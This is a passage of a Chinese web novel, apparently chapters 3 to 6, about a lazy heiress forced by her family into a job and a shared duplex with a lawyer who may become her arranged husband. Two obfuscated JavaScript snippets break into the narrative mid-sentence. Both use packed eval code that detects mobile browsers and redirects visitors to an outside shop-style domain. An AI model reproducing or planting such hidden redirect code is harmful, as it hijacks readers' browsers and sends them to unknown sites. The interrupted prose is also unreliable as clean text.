“怎么会这样?” “我爸妈都没提前和我说过。” 她俯视裴舒文,然而内心早就坠入谷底。眼圈也控制不住得泛红。 裴舒文睁眼:“你对家里会干涉你的婚事应该有一定预期。” 林朝月苦笑,她发现自己这次犯错的代价有些大。有预期和直接面对好像是两码事。 林朝月吸了吸鼻子:“但是我们长大后才第一次见,你不喜欢我。” 裴舒文:“两姓联姻不需要有其他感情,我需要的只是一个家世相当的妻子,不过……” “不过什么?”林朝月瞪圆眼睛。 裴舒文:“不过我这个人不喜欢强求,我也可以给你另外一个选择,至于怎么选,你自己决定。” 他把另一份准备好的文件推给林朝月。 “看看。” 快速拿起文件扫过里面内容的林朝月忍不住苦笑。 裴舒文看似给了自己一个选择题,但这选项里没一个是她想选的。 要么联姻嫁人,要么入职君天梁木。 林朝月:“我还有别的选择吗?” 裴舒文:“你好好考虑。” 裴舒文撂下话又去处理工作。 留着林朝月对着桌上又多出的那份‘入职协议’和两张银行卡发呆。 一张是工资卡,一张是扮演‘合格妻子’的出场费。 还真是难选…… 就在她有些抓狂的时候,刚刚一直不见人的李聪终于冒泡了,还发了一连串的消息。 【刚才去飙车了,你说你去裴舒文家里了?这不是羊入虎口吗?不过听说他人挺绅士的,应该没对你做什么吧?】 【做了。】 【啊???做什么了!!!他是不是见色起意,非礼你了?这个混蛋!!!等老子回国一定废了他!】 【让我签卖身契了。】 【哈?】 …… 裴舒文对林朝月的性格有了初步判断,知道她虽然不是那种无可救药的富二代,但也需要时间消化这件事。 所以他不急。 工作后又洗了个澡才重新回到客厅。 预想中是进行新一轮的‘谈判’。 但女孩不知道什么时候睡着了,吊起的高马尾已经松散,慵懒地垂下来,人是半蜷缩的,纤细的手腕撑着下颌,挂在上面的珠串也滑落到小臂。 他站在她面前,刚好能挡住打在她面上的光。 熟睡中的女孩并没有感知到光线的明灭变幻,依然保持着有些‘乖巧’的睡姿。 裴舒文的手机一直捏在手上,这会儿正好响了,他第一时间按了接听,却没说话。 只听对面急匆匆得:“我刚去打听了!林家那小祖宗在国外玩得很嗨的!估计不是个善茬,她能顺利来入职吗?别到时候把我们律所掀了!” 裴舒文屈膝,拾起落在地板上那份‘入职协议’翻到最后一页。 最后空白的页面已经签了名字,‘林朝月’三个字干净隽秀,远比她人看着还要乖巧些。 对面只听到电话里淅淅索索的声音,却不见裴舒文答话,赵淮安心头一跳,于是又试探性地问了句:“你不会是和那个小祖宗在一起吧?” 4. chapter 04 裴舒文轻声:“嗯。” 赵淮安倏地降低音量:“那你临时让助理打印的文件送去了吗?有没有耽误你的事?” “没耽误,可以顺利入职。” 至于能不能把律所掀了,就只能拭目以待了,毕竟他‘哄’着人签的字,到底理亏。 林朝月的新住处就在裴舒文家楼下。 有了昨天一系列事情的冲击,她非常坦然就接受了这个结果。 ‘卖身契’都签了,住邻居也没什么大不了。 但等林朝月倒好时差从床上爬起来,迷迷糊糊看见书房门边上的楼梯,她突然就不这么想了…… 踢踢踏踏的上楼声,外加用力的推门声,让正准备吃午饭的裴舒文停下手上的动作。这是睡醒了? 他抬头,视线中的林朝月身上只套了件卡通睡裙,脚上的拖鞋是反的,头发潦草,眼睛虽然肿着,但瞪得老大,看着像只受了惊吓的炸毛小猫。 和裴舒文四目相对后,林朝月控制不住发出了一声尖锐爆鸣:“啊啊啊啊啊啊,你流氓!我们两家怎么是通着的!这门怎么都没上锁!你是不是居心不良,想对我图谋不轨!” 面对林朝月的‘指控’。 裴舒文倒是一如既往得淡定。反衬着她好像在无理取闹似的。 裴舒文看了两眼紧攥着手站在原地的林朝月,无视她的‘不满’,起身又盛了一碗饭放在对面,还多拿了双筷子。 裴舒文:“还没吃饭?坐下一起?” 邀请的话非常自然,就像他们是非常熟悉的老朋友。 不得不说,这招很管用,尤其是当林朝月闻着屋内的饭菜香,留意到不远处餐桌上一盘盘精致的小炒后,她彻底安静了。 她很饿。非常饿。 这两天倒时差睡得昏天黑地基本没怎么醒过,不然她也不会到现在才发现她家和裴舒文家里是通的。 她醒来唯一吃过的东西还是从跨国航班上拿下来的蜂蜜吐司。但欧美航班上的吐司太甜了,甜的发腻,她只吃了两口就丢进垃圾桶了。 林朝月吞了下口水,内心挣扎过后,最终非常没骨气地坐到了裴舒文对面,质问的语气弱了不是一星半点。 “你还没说这楼上楼下怎么是通的?” 裴舒文又给她倒了杯果汁:“先吃饭,吃好再说。” “哦。” 她默默点头,端起饭碗的同时安慰自己:裴舒文就住在这里也不会跑,但饭菜再不吃就凉了…… 裴舒文的厨艺实在不错,也够奢侈,自己一个人吃饭也做了四菜一汤,每道菜还都色香味俱全,一顿饭下来,她头几乎全程埋进饭碗里,像是忘了刚刚那茬事。 裴舒文已经发现林朝月的性子有些得过且过。 但看这样子她比自己想象的还要迷糊些,他不知道钟林这么强势的两大家族是怎么培养出这种性格的女儿,不过送来他这里,这毛病怕是要改了。 不过不急,时间还长,都可以慢慢来。 裴舒文吃好后撂下筷子。 林朝月听见声音,第一时间抬头:“你吃好了?” 倒是很会察言观色。 不过他下午还有会,没空和她兜圈子:“嗯,房子的事情确实有必要和你说清楚,不过你这两天在倒时差我就没打扰你。” 林朝月不自觉地坐正,自己手上的筷子也撂下了,她突然冒出了些不太好的预感。 裴舒文忽略了林朝月的紧张,自顾自地说:“按钟姨的意思,是让你直接住律所的员工宿舍,不过宿舍条件相对简陋,是四人间,我猜你住不惯。” 四人间?真的假的?林朝月觉得自己还是低估了钟女士的‘狠心’程度。她国内读大学的时候也没住过四人间啊。 震惊之余还有点伤心。 她这次彻底不想吃了。连放在桌上的手都拿到了下面。 裴舒文见一句话就‘吓’住了林朝月,态度缓和了些:“这个小区离君天梁木比较近,我当初买来是复式,我把楼下那层匀给你住,想你后面上班会方便一些。” “刚刚你推开的那道门,门锁在你那侧,如果你觉得不方便可以反锁,我平时也不会走那道门。” “如果你还是觉得不方便,入职可以直接去找人事部门申请宿舍,她们会带你去新的住处。” “还有其他问题吗?”裴舒文问她。 林朝月发现自己的第六感果然很灵,而且还是好的不灵坏的灵。裴舒文话都说到这个份上了,她还能有什么问题,他爸妈不仅把她的卡停了,还勒令她那个小圈子的大家都不许借钱给她。 她现在就是半个穷光蛋。 唯一值钱的东西是国外收藏的那些酒,但那些酒还没来得及空运回来。 林朝月非常识时务:“没了。” “那我还有一个问题。” “什么?”林朝月有些莫名。 她都没问题了,裴舒文还有什么事? 很快,她就见裴舒文把那天给她看过的‘同居协议’拿了出来。 林朝月:“……”这什么情况,不是说联姻、工作二选一就行吗?这是要变卦? 裴舒文无视了林朝月藏不住的小心思,将那份协议推到她面前:“看看,这份协议我改过一版,和你那天看到的有些出入。” 林朝月将信将疑地翻开了面前的这份协议,不大情愿地看了起来。 里面的协议内容确实换了一版,这次看着不像是联姻合同,倒像是合租合同。 诸如:‘乙方于君天梁木在职期间享有天河之城1幢3层使用权,离职后七天内需搬离并将房间恢复原样’;‘乙方与甲方共同居住期间,各自使用各自楼层,不得无故闯入……需尊重对方的隐私权……’ 虽然里面罗列的大多数是对她的要求,但都不算太过分,她‘寄人篱下’,勉强能接受。 直到她翻到最后一页,看到了条款的最后一项。 这什么情况? “不是……”林朝月指尖落在协议中间的那条,脸色是说不出的精彩:“这条是什么意思?” “什么?”裴舒文看见林朝月本来只是白皙的脸,此时已经红温了,有些意外地看过去,视线快速扫过她指尖落在的那处,心头已经了然。 裴舒文:“就是字面意思,基于我们现在的关系,我觉得你暂时停止开展一些不必要的男女关系,能减少绝大多数麻烦,当然,如果你只是想正常恋爱我也并不反对,但怎么过你父母那关,你可能要提前想好,我并没有义务替你遮掩。” 林朝月只是懒,但她不傻,如果连这话都听不懂,她就白长这么大了。 这分明就是赤果果的警告,估计她前脚谈恋爱后脚裴舒文就会毫不犹豫地告诉她家里,再结合国外传回来的狗屁谣言,到时候她的银行卡怕是永无解封之日了。 还有!什么是正常恋爱!她什么时候不正常恋爱过! 林朝月有理由怀疑裴舒文也是听到了什么关于她的风言风语。 她皮笑肉不笑:“你是不是也不排除有添油加醋的可能。” 裴舒文认真思索后说道:“必要情况下,我大概率会优先保障我自己的权益,希望你能理解。” 对面男人坦诚得让林朝月‘心惊’,她想谈判,但开口前才发现自己连谈判的筹码都没有。 最后只能逞强地说:“我考虑一下。” 这是谈判桌上时常会出现的一句话,但说出这句话的人往往是弱势妥协的那方。 裴舒文十分清楚知道,这次也不例外。 他淡定起身,随意丢下一句:“我今晚回来的时间不定,协议签好放在我书房,记得刷碗。” 林朝月想,他这是笃定了自己会签字,就像是能一眼看穿她内心似的,这感觉可真糟糕。 咸鱼林朝月难得起了‘斗志’,心想她不能就这么妥协!她得在挣扎一下。 林朝月手够到后面,从睡裙帽子里拿出手机。 【聪哥,爆点金币,我要给自己赎身。】 【月宝你别闹,我前脚给你转钱,后脚我家老李就得把我卡也停了,而且我的那点钱你肯定也瞧不上,还不够你买几瓶酒的呢。】 【要不你问问翁瑶,她那边打款渠道多,怎么也能给你周转一下。】 她倒是想找瑶瑶来着,但瑶瑶最近忙着小提琴巡演呢,她被诈骗钱的事都没敢告诉瑶瑶,就怕影响瑶瑶的演出状态。 哎哎哎……难道天要亡她? 她还真就不信了…… 没一会儿,李聪又收到了林朝月的消息。 【帮我查查这张银行卡的余额[图片].jpg】 【月宝有实力啊,这么快就弄来钱了?等着,我这就让你帮你查查。】 林朝月没心情贫,她翻遍自己手机也没有一张能用的卡,现在只能把希望寄托在裴舒文给自己的这张了。 律师这么高尚的职业,工资总不会太少的吧? 够她先跑西北玩一趟就行,其他的事情等她回来再说…… 五分钟后。 对话框里弹出了消息。 【你这是哪里倒腾出来的卡,怎么比我还寒酸。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355323|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【什么意思?】 李聪什么也没说,直接发过来了一张余额截图,林朝月看着上面的余额,瞬间沉默了…… -- 收到林朝月消息的时候,裴舒文正在开讨论会。 他工作的时候极少处理私事,赵淮安正和他说到关键,见他低头看手机,自己也凑过去瞟了一眼。 “碗碎了?家里新找的阿姨?”手机上的图片是碎了一地的碗。 “不是。” 裴舒文随手回林朝月的消息后,继续看手上的合同。 林朝月也没想到自己洗个碗还能把裴舒文家的碗弄碎。 本想着赔他一个,再借机提一提自己工资的事,没想到他直接说不用,压根没给她开口的机会。 林朝月收拾完,思来想去,决定还是给裴舒文打一通电话。 会议仍在继续。 和腾辉集团合作的合同细节还没敲定,裴舒文的手机却亮了,他一反常态没挂断电话,而是宣布中场休息十分钟再继续。 这可不是他们这位裴律平日的做派,会议室一瞬间变得鸦雀无声。 在裴舒文推门出去后,身后又响起了一片嘈杂,连电话那边的林朝月都听见了。 “你是在忙吗?”林朝月有些心虚地问。 “很忙,你有事?”裴舒文最近的耐心都花在林朝月身上了,换做别人他听见这句开场白会直接挂断电话。 “也没什么事,就是那个协议,我签好放你书房了……打碎的碗也收拾好了。”她长这么大还没为钱的事情犯过愁,犹豫了半天也没想好怎么说,到现在心里直接打起了退堂鼓, 裴舒文抬手看了眼时间:“离下场会议开始还有八分四十秒,我建议你直接说重点。” 林朝月捏着银行卡提起一口气,但明明话都到嗓子眼了,偏偏怎么也说不出。 林朝月:“就是……也没什么事,你先忙吧,那我挂了哈!”说话犹犹豫豫,但她挂电话的速度出奇得快。 倒也对得起她‘林怂怂’的外号。 算了,她还是想办法把国外那批酒运回来吧,求人不如求己。 …… 赵淮安出来想‘听墙角’的时候,裴舒文电话已经挂了,此时正在看家里监控。 他也好奇地凑过去看。一眼就看到裴舒文家的客厅站着个只穿了睡衣的妹子。 “什么情况?谈恋爱了不和兄弟说?我们律所不知道多少姑娘要心碎了!”赵淮安那表情比自己找到女朋友都兴奋。 但没兴奋两分钟,他就发现这姑娘有些眼熟。 “这是……林家那个小祖宗?不是,这就同居了?你真准备当上门女婿啊?”赵淮安瞪大了眼睛,嘴巴再张大一点都能放下鸡蛋了。 裴舒文:“她临时住我楼下。” “哦哦,就你天河之城那套,我说你前段时间怎么让人去装门。” “呼……差点被你吓死?”他差点以为他们律所要被白嫖了:“刚刚就这姑娘给你打电话?什么事?” 裴舒文本来也不知道,但放大画面,看清林朝月手上反复拿着看的物件,他轻笑一声:“大小姐大概是嫌工资少不够花。” “是吗?给我看看。” 裴舒文自己看了半天,见赵淮安凑过来直接收了手机,似笑非笑地看着他,虽然没直接说,但那表情里就写着‘你还有什么事?没事还不滚去工作’。 赵淮安心道:这裴扒皮也就在外人面前装得好,但只要相处久了就能发现他扒皮的本质。 赵淮安厚着脸皮只当没看见,继续八卦:“你外祖父好像挺喜欢这姑娘的,昨天还特意打电话来交代过,他老人家是不是想让林朝月当你家的外孙媳妇?” “嗯。”裴舒文惜字如金,并不多说。 赵淮安打量一下周围,见没人,小声继续:“那你父亲呢,还有你那个……后妈,他们什么态度,上次不还勒令你回家相亲?” 裴舒文眼中闪过一道意味不明的光,眉宇间满是淡漠:“他们自然不希望我找林家的女儿。” “那不正好!你这次趁机生米煮成熟饭……”清楚裴舒文家那些烂事的赵淮安,此时显然有些兴奋。 裴舒文却几乎斩钉截铁:“她不行。” “为什么?不是你喜欢的类型?我看她真人长得好像比照片还漂亮,你要不喜欢,等人来了兄弟我没准下手了,我都单身快两个月了。” “你很闲?和腾辉的合同拟好了?印度那边的项目缺个负责人,要不要派你过去常驻?” “……” 5. chapter 05 林朝月以前做梦也没想到自己有朝一日会成为上班族。 她被迫八点起床的时候,闭着眼刷牙也不忘开语音骂一通李聪,要不是这个大聪明她也不至于沦落到今天这个地步! 李聪三分钟前还发了赛车的朋友圈,这会儿果断装死。 她恨得咬牙切齿,但该出门还是要出门,裴舒文十分钟前就在楼下等她了,她明明记得他是昨天凌晨回来的,这男人还真是精力旺盛。 不像她。只要睡不够就像行走的丧尸,肢体僵硬脸色奇差。当然攻击力是没有的,只有能养活十个邪剑仙的怨气。 带着怨气下楼的林朝月,走路都拖沓了不少,磨磨蹭蹭十几分钟才到地下车库。见到裴舒文的时候,他正靠在车边频频抬起手腕看时间。 看那动作是有些不耐烦。 不耐烦才好,林朝月暗戳戳得想,等知道她不是努力工作那块料,没准哪天就大发慈悲放过她了。 “不是九点上班吗?怎么这么早就要出门。”挪到裴舒文面前,林朝月皮笑肉不笑地扯了下嘴角:“我还没来及吃早饭。” 裴舒文扫了一眼林朝月的衣着,以及她手上拎着的那个只能放下一个手机的水晶球包。忽略林朝月后面的那句抱怨,随手把车钥匙丢给她。 “这辆车以后给你开,今天九点入职培训不能迟到。”裴舒文顿了顿,还是补了句:“上班不是开party,我建议你明天换一身衣服再去所里。” 她衣服怎么了!林朝月今天穿得是紧身上衣和牛仔裤,为了这身穿搭还特意翻出了压箱底的包,她觉得很正常啊!一看就非常青春活力。她今天困成那样,还特意花时间用银丝带绑了个高马尾。 真是不懂欣赏!臭直男! “不迟到也不用这么早过去啊,律所不就在附近,这还没到八点半呢,而且我们开Party都是有主题要cos的,才不这么穿。”林朝月嘟囔着。 “那你上次Partycos的是受害者?”裴舒文开车门上车,不咸不淡地开腔。 林朝月第一时间还没反应过来裴舒文说得什么,等她后知后觉发现他在内涵自己被‘诈骗’,脸直接涨成猪肝色。 “你……你你你!你嘴巴可真毒!你在我爸妈面前的绅士都是装得吧你!” 裴舒文无视她的指控,好心提醒:“我要去所里了,我建议你快点跟上。” 裴舒文没等她,发动引擎开出去了一段。 林朝月这才留意到裴舒文那辆阿斯顿马丁边上停着一辆mini。她刚刚没看车钥匙,还以为裴舒文今天又要把自己当成免费劳动力呢。 算他有良心,知道也给自己配台车,虽然这车不怎么样,但勉强能用。 林朝月好女不吃眼前亏,很快跟了上去。 上次裴舒文说他们住的这个小区离君天梁木很近,她还没什么实感。 等跟着裴舒文的车后面开过了三条街,见他开进一旁大厦的地下车库,林朝月才发现这就到了。 她车载音乐刚放了一首。 律所这么近开两辆车干嘛,直接捎她一段不就行了,还真是个老迂腐。 林朝月紧随其后下了车库。 这车库放眼过去实在不小,但停车的位置几乎没有。 裴舒文律所里的人都是劳模吗?怎么上班这么积极,来这么早? 眼见着裴舒文在电梯口入口那里停好了,她连个车位都没看见,最后还是在停车库的犄角旮旯里发现了一个侧方停车位。 她开车还行,停车技术真的一般,这种车位估计要倒好几把才能开进去。 但眼下好像也没有其他更好的选择了…… 就停这吧,她看见裴舒文又在看时间了。这人还真是没什么耐心。 今天早会是君天梁木上半年的总结会,距离会议开始还有十分钟。 在看到林朝月第三次停车失败,并倒车撞上后面的车后,裴舒文耐心彻底耗尽,给律所安保打了通电话后,转身进了电梯。 …… “喂喂喂!你长眼睛干嘛使的!没看见我都快把车停进去了吗!还直接撞过来!” “这可是我爸爸新给我买的车!你赔得起吗?” “你别在车上装死!快点下车!” 强烈的推背感后伴随着一阵叽叽喳喳的声音,吵得林朝月头疼。 她专心倒车,压根没看见这白色奔驰从哪里窜出来的,撞车的第一时间有些懵,还没等反应过来对面下来的女人直接上手开车门,准备把她拉下去。 林朝月敏捷地躲了一下,让对面女人扑了空。 “不下车你还能跑得掉不成?也不看看这是哪里。” 哪里?不就是裴舒文的律所,他们还承接交警的工作不成? 林朝月下了车。 但她同时也留意到撞车的位置,于是皱眉:“你确定是我撞你?不是你抢我车位?” 披散着一头黑色卷发的女人傲娇扬脖:“怎么就是你的车位了?律所的车位谁都可以用,你停不进还不许别人停了!” “那你是承认看见我在停车,还硬要插进来了?” 这女人穿得精致得体,一开口差点让林朝月白眼翻上天。 一大清早,睡觉睡不够,早饭也没吃,不情不愿来裴舒文这里上班,停个车还要被‘碰瓷’。 出了这么大的动静,裴舒文也不说过来帮忙处理一下,她有些哀怨地回头看,然后就发现裴舒文不知道什么时候已经走了。 可她明明记得刚刚撞车的时候他人还在。说他有良心还真是说早了。 林朝月心里闷闷得,不高兴都写在脸上,她最讨厌处理这些麻烦事了。 聂闪闪依旧不依不饶:“别管我是不是硬插进来,你就说怎么办吧……” 能怎么办,报110呗,难道还要在这里打一架来分谁对谁错? 而且她对国内的交通法也不怎么熟悉,换做以前她大概率直接赔钱了事,但现在她总觉如果私了,对面这女人肯定要狮子大开口,把她卡里仅剩的那点钱都要走。 不得不说。 穷点真省钱,这不又省了一笔…… 早高峰事故多,交警处理好已经快十点了。 林朝月琢磨着反正也迟到了,去附近找个地方吃完饭再来,她看地图附近三百米就有个早餐店。 想走的时候聂闪闪接了通电话,林朝月就发现她的脸色比刚刚撞车的时候还要黑。 不过和她没关系。 她饿的前胸贴后背了,她要去吃饭。 结果刚走出没几步,就被聂闪闪大力拉住,林朝月这次也不高兴了:“你还干嘛?车的事情不是都处理好了?你松手,我要去吃早饭。” “你也是这期君天梁木入职的助理律师?”很难以置信的语气。 “是又怎么了。” “呵。”聂闪闪上下大量林朝月,怎么看她都不像是律师,来找律师的被告还差不多。 眼见着聂闪闪白了自己一眼,林朝月也有些莫名其妙。想甩开她的手:“你什么意思?快松手。” “吃个屁的饭,跟我走,入职培训就差我们两个没到了,hr让我把你也带上去。”聂闪闪手劲不小,压根没给她挣脱的空间,拉着人上了电梯。 林朝月:“……” 在聂闪闪的‘强迫’下,林朝月踩着十点整进了会议室。 入职培训已经进行很久了,一屋子有二三十人,此时所有人都齐刷刷地看向门口的两个人。 聂闪闪迟到有些尴尬,不见刚刚的跋扈,人还有些局促。 林朝月倒是打了声招呼,非常自然地拉着聂闪闪进去找地方坐下。 中途看到裴舒文,还不忘‘瞪’了他一眼。 暗骂狗男人! 赵淮安看了,调侃地搡了搡一旁的裴舒文,小声说:“果然是个小辣椒,这大小姐估计我们所里除了你没人能驾驭,你直接把人领过去算了,反正之前也说好是挂你名下的。” 裴舒文:“上次你不是说要把她当祖宗供起来,给你个机会?” 赵淮安摸了摸鼻子:“那还是算了。” 会议继续,hr在台上讲话。 林朝月又困又饿,没什么心情听,但这会议室不大,大家围着一张方桌坐,挤得她连趴着睡觉的空间都没有。 她只能靠在椅背上打盹,整个人都恹恹的。 眯了一会再睁眼,就见坐她两边的男生女生,人手一个黑色笔记本,刚刚还空着的那一页已经写满了。 这都写什么呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355324|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么专注? 边上的女生以为她想看,非常好心地把笔记本往她那边挪了挪,小声说:“我建议你还是听听,今年的规则变了,和去年的完全不一样。” 林朝月想说,去年什么规则她也不知道。 但女生声音温温柔柔的很好听,她听过没那么困了,坐起来也朝大屏幕看过去。 “……基于以上几点考量,我们所也开始采用--应届生流量池制度,大家入职前期并不指定具体律师团队,两个月后通过考核的助理律师,可以同我们所里的律师团队进行双向选择,考核成绩前三的助理律师,可以指定入职具体团队……” 考核通过才能选团队? 林朝月心思一动,来了灵感。 她问边上的女生:“如果两个月律所考核不通过,是不是就不用入职了?” “啊?”女生被她问的一懵,虽然不一定能去上最好的团队,但她们这批应届生也算优中选优,不至于连考核都不过吧。 林朝月的声音不算小,坐在周围的人都听见了。 聂闪闪早上和她撞了一下,显然对她有不小的偏见,冷哼道:“某些人倒是有自知之明,知道现在势头最猛的红圈所也不是什么阿猫阿狗都能进的,我看还是趁早卷铺盖走人算了,省得留下丢脸。” “可是入职协议都签了,考核不过也要被劝退吗?”有人问, 聂闪闪巴不得林朝月考核不过走人。 但周围的人可不这么想。他们走了四轮面试进来,不能因为不清楚规则被辞退,即便被辞退的概率非常非常小。 此时已经有人举手了。 “有什么问题?”HR看向举手的男生。 男生:“如果两个月的考核没过,或者最后双向选择带教律师的时候,没有律师团队想要怎么办?” HR想说一般不存在这种情况,考核只是让大家看清自己的不足,让大家尽可能找到最合适自己的方向,后续即便进入到不喜欢的团队,每年也有一次调换团队的机会。 话到嘴边还没说出口,她察觉到裴律在看自己,很快打住,调转了话锋。 HR:“本次考核制度,主要由我们所合伙人裴舒文裴律拟定,他虽然没在本次的带教律师选择名单,但会全程参与监督,同时对该制度享有最终解释权。” 说到这里,林朝月的心凉了半截。 等裴舒文说完下面那句,下面那半截也凉了。 裴舒文:“这次考核没通过的同学,会暂时挂到金融证券部,我亲自做带教律师,合格后选择合适的团队,我相信考核通过只是时间的问题。” 他从来不觉得真有什么朽木,能雕则雕,不然他不介意花时间捏碎了重塑。 他享受这其中的乐趣。 -- 上午入职培训,下午是大家自行熟悉工位和办公区域时间。 因为大部分律师平日不坐班,都是在外面跑案子,他们这批助理律师也都没安排带教律师,所以hr没要求他们下午集合,让他们可以吃过午饭自己四处看看。 有不懂的可以随便问今天在律所里的律师,也能顺便认下人。 吃中饭的时候,同期入职的大家都在聊,说君天梁木是宁城红圈所里最人性化的。 林朝月看着裴舒文刚刚回复自己的消息。 忍不住控诉:“哪里人性化,这么多人办公的大厦,地下停车场连个停车位都没有。”撞车不说,裴舒文还不让她走保险自费修。 换做以前她买辆新的赔他都成,现在明知道自己穷的兜比脸干净,还要压榨她。 裴扒皮!坏人! 聂闪闪难得认同地撇了撇嘴:“就是。” 一想到自己被刮掉一块漆的新车,最后还被交警认定同等责任,她咬死林朝月的心都有了!偏偏林朝月穿得不伦不类一点律师的样子都没有,还真和她是同期! “你们早上是因为抢车位撞上的?”有人神情古怪地问。 来吃午饭的路上,大家也都听说过她和聂闪闪的恩怨了。 “是啊。”林朝月摊了摊手,显然也有些无奈。 “那你们不知道地下车库有四层?”那人继续。 聂闪闪:“???” 林朝月:“……” 6. chapter 06 人事部的秦雯已经在裴舒文办公室门口等很久了。 她衣着高级简约,妆容精致,但情绪看着不高,见裴舒文回来,拿着电脑,利落走上前。 “裴律,这批应届生怎么连时间观念都没有,我听王晴说今天入职培训也有人迟到,而且迟到了一个小时。” “安排的自由参观时间,有人就这么趴着工位上睡觉,我建议把考勤也纳入这期助理律师的考核。” 秦雯滑了两下屏幕,调出监控拿到裴舒文跟前给他看。 一色黑白灰办公桌中间,穿着粉色短袖的林朝月尤其突出,她不知道从哪里拿来的姜黄色小毯子,一半铺在桌上,一半蒙着眼睛,脸埋在里面睡得很沉。 适应得倒不错。 裴舒文打量了两眼收回视线。 裴舒文:“我不常在所里,考核的事情还是要你们人事部重点协作,具体的细节你来拟定,我签字。” “可是这期的人里面有……” 裴舒文猜到秦雯想说什么,没等她开口就继续:“对所有人一视同仁,不需要优待。” 有裴舒文这话,秦雯的心也安了几分,暂时压下了对赵淮安往所里塞人的不满。 秦雯:“有裴律的话我就放心了,我今天过来主要还有另外一件事,冯朗的退所手续办好了。” “你办事我放心。”裴舒文说着给秦雯倒了一杯茶:“坐下尝尝,上好的碧螺春。” 秦雯没心情喝茶:“我今天过去的时候,冯律不太高兴。” “离开干了这么久的老东家,还是被迫走的,是要不开心。他应该攒了不少话和你说。” 裴舒文的语气轻描淡写,就像冯朗只是一个无关紧要的人,但就在半个月前,冯朗还在这间办公室里指着裴舒文的鼻子骂过。 秦雯当时也在。 “嗯。”秦雯短暂的沉默后,表情有些严肃:“他今天和我聊了一下我的职业规划,提起安颂那边有个不错的机会,希望我一起过去,也希望我能说服老褚他们;我站在人事部的角度,觉得我们有必要提前准备一些应对措施,不然真到那个时候会很被动。” “不急,你先看看这个。”裴舒文把桌面的文件推到她面前。 这文件一开始就摆在她眼下,但秦雯心里装着事,一直没留意看。 “这是……上个季度律所的财报?这么快就出来了。”秦雯有些惊讶。 “嗯,老褚效率高,后面所里薪资调整还是要辛苦你们人事部。” 秦雯听出了裴舒文的话外音,猜到这个季度的创收肯定又有增长,但翻开看到标红的‘19个百分点’,她还是震惊了一下,之前的担忧也都抛到了脑后。 “这季度的创收新增又突破了?我记得这已经是连续第五个季度创收新增了。” 她们所的季度财报都是公布的,这个数据足够振奋人心。 秦雯认真思考:“宁城法律杂志一直想重新邀请我们参与律所指数排名,我觉得现在是个不错的时机。” 影响力也是实力的一部分。 裴舒文:“这件事你决定,但冯朗的事不用告诉赵淮安,他玻璃心,知道了影响工作效率。” “聊什么呢,我怎么好像听到我的名字了。”裴舒文办公室的门没关,赵淮安路过见里面有人,就这么大大咧咧地走了进来。 见秦雯也在,他油嘴滑舌地调侃道:“雯姐今天又美了,早上怎么没看见你,翘班出去约会了?” “我是去办正经事的。”秦雯白了赵淮安一眼:“你以为我是你,走后门给我塞进来的都是些什么人,我刚给裴律看过,你也来看看,上班时间就这么明目张胆地在工位上睡觉。” “是吗?”赵淮安最近确实也学着裴舒文做顺水人情往所里塞了两个人。 但那几个人都是宁城大学法律系的高材生,还是他师母介绍的,不至于这么不靠谱吧。 赵淮安凑过去看,扫了一眼就看到了林朝月。 嚯,他还当是谁呢。 赵淮安后退一步摊手,满脸的无辜:“雯姐这你可就冤枉我了,这你要找裴律算账,是走他的后门,我就是帮忙收个简历,和我可没关系。” 裴舒文见赵淮安撇关系撇得积极,轻笑了一声:“嗯,和我有关系,算我的人。” 林朝月的简历秦雯看过,学校还行,但成绩太一般,社会实践和实习的经验是空白的,兴趣爱好是收藏酒,简历照片是染的粉头发。 怎么看怎么不专业。 怎么看怎么不适合这行。 秦雯对裴舒文的眼光还是有信心的,但出于自己的专业本能,还是忍不住提醒一句。 “裴律,如果您想培养助理律师,我觉得还是北城大学新入职的那两个人男孩子比较合适,也能跟得上您的工作强度。” “雯姐你不懂,咱们裴律比较喜欢有挑战性的。”赵淮安故意打岔,把秦雯说得有些懵。 “什么意思?”秦雯见赵淮安的那副表情,脑筋也忍不住往不太正经的方向动了。 年轻漂亮不上进的小姑娘。 裴律还说是他的人,总不会是她想象中的那样吧…… 赵淮安说话故意说一半留一半。 裴舒文却没给秦雯遐想的空间,他似笑非笑地看着赵淮安,话却是对秦雯说得:“客户的女儿,送来改造的,你们人事部多费费心,下个季度这个客户的营收多给你们三个百分点,从赵律的团队扣。” “毕竟和他没什么关系。”最后这句他刻意放慢了语气。 赵淮安本来还‘幸灾乐祸’,现在脸都绿了。 秦雯是人精,能找到裴律和赵律头上的合作,三个百分点肯定也是比大数目。 她知道裴舒文也是为了冯朗‘挖人’的事安她的心,但她本来也不准备跳槽,所以笑盈盈对赵淮安说了句:“老板大气。” 秦雯走了,赵淮安瘫坐在裴舒文办公室的沙发上,活像只泄了气的皮球。 “你不爱我了,那可是三个百分点啊!你怎么忍心就这么借花献佛了?” 裴舒文头都没抬:“我的补给你,还有问题吗?” “没了!老板大气!”赵淮安觉得自己还是很好哄的,区区五个字‘我的补给你’,他就又满血复活了。 然后人‘嘚瑟’地凑到了裴舒文身边:“我说你看什么呢这么专注……监控?监控有什么好看的。” -- 律所冷气开得十足。 蒙着毯子,林朝月也觉得一阵阴凉从脖颈里窜了出来。 她换了个姿势,把脸露出一半继续睡。 这次迷迷糊糊,却觉得有人在看她。 缓慢睁开眼,看见的只有装着监控的天花板,于是她又安心闭上了。 